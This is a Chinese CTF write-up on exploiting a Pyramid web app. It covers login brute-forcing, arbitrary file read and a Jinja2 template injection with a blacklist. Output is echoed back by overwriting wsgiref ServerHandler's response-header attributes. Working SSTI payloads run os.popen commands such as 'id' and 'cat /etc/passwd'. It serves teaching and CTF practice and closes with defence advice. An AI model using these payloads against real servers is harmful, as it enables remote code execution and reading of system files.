pyramid 框架无回显挖掘
字数 1039 2025-08-22 12:22:15
Pyramid框架无回显漏洞挖掘与利用技术文档
1. 漏洞背景
本文档基于国城杯CTF比赛中一道Pyramid框架题目,重点探讨Pyramid框架下的无回显漏洞挖掘与利用技术。题目场景为无回显、不出网环境下的漏洞利用,最终通过技术手段实现命令执行和回显。
2. 初始信息收集
2.1 登录爆破
- 题目存在用户登录功能
- 有验证码保护,但提示密码为纯数字
- 成功爆破出密码为"123456"
- 登录用户为"admin"
2.2 文件读取漏洞
- 观察URL格式:
http://125.70.243.22:31197/info?file=洛神赋图.txt - 存在任意文件读取漏洞
- 可读取
/etc/目录但未发现flag - 成功读取到
app.py源码
3. 源码分析
3.1 关键路由与功能
# 主要路由配置
config.add_route('root', '/')
config.add_route('captcha', '/captcha')
config.add_route('home', '/home')
config.add_route('info', '/info')
config.add_route('login', '/login')
config.add_route('shell', '/shell')
3.2 核心漏洞点 - shell_view
def shell_view(request):
if request.session.get('username') != 'admin':
return Response("请先登录", status=403)
expression = request.GET.get('shellcmd', '')
blacklist_patterns = [
r'.*length.*', r'.*count.*',
r'.*[0-9].*', r'.*\..*',
r'.*soft.*', r'.*%.*'
]
if any(re.search(pattern, expression) for pattern in blacklist_patterns):
return Response('wafwafwaf')
try:
result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})
if result != None:
return Response('success')
else:
return Response('error')
except Exception as e:
return Response('error')
3.3 漏洞特征
- 存在Jinja2模板注入漏洞
- 黑名单过滤:
- 数字、点号、百分号
- 关键词:length、count、soft
- 无直接回显,仅返回success/error
4. 无回显利用技术
4.1 利用思路
通过修改WSGI处理过程中的HTTP响应头实现回显,具体步骤:
- 定位WSGI处理类
- 修改响应头相关属性
- 注入命令执行结果到响应头
4.2 关键对象定位
- 通过
lipsum.__globals__访问内置对象 - 定位
wsgiref.simple_server模块 - 找到
ServerHandler类
# 定位wsgiref模块
{{lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.__dict__}}
# 获取ServerHandler类
{{lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler}}
4.3 回显构造方法
方法1:修改http_version属性
{{lipsum.__globals__.__builtins__.setattr(
lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler,
"http_version",
lipsum.__globals__.__builtins__.__import__('os').popen('id').read()
)}}
方法2:修改server_software属性
{{lipsum.__globals__.__builtins__.setattr(
lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler,
"server_software",
lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()
)}}
4.4 利用原理分析
WSGI处理流程中的关键方法:
def send_preamble(self):
"""Transmit version/status/date/server, via self._write()"""
if self.origin_server:
if self.client_is_modern():
self._write(('HTTP/%s %s\r\n' % (self.http_version, self.status)).encode('iso-8859-1'))
if 'Date' not in self.headers:
self._write(('Date: %s\r\n' % format_date_time(time.time())).encode('iso-8859-1'))
if self.server_software and 'Server' not in self.headers:
self._write(('Server: %s\r\n' % self.server_software).encode('iso-8859-1'))
else:
self._write(('Status: %s\r\n' % self.status).encode('iso-8859-1'))
http_version和server_software都会被写入HTTP响应头- 通过修改这些属性,可以将命令执行结果回显到响应头中
5. 完整利用链
- 登录系统获取admin会话
- 访问shell路由注入模板代码
- 通过修改ServerHandler属性实现回显
示例Payload:
http://127.0.0.1:6543/shell?shellcmd={{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler,"server_software",lipsum.__globals__.__builtins__.__import__('os').popen('cat+/etc/passwd').read())}}
6. 防御建议
- 避免直接渲染用户输入的模板
- 严格过滤模板渲染上下文
- 使用安全的模板渲染方式
- 限制内置对象的访问
- 实施更严格的黑名单/白名单机制
7. 总结
本文详细分析了Pyramid框架下无回显漏洞的挖掘与利用技术,重点介绍了通过修改WSGI处理过程中的HTTP响应头属性实现命令执行回显的方法。这种技术在无回显、不出网环境下特别有效,为安全研究人员提供了新的渗透测试思路。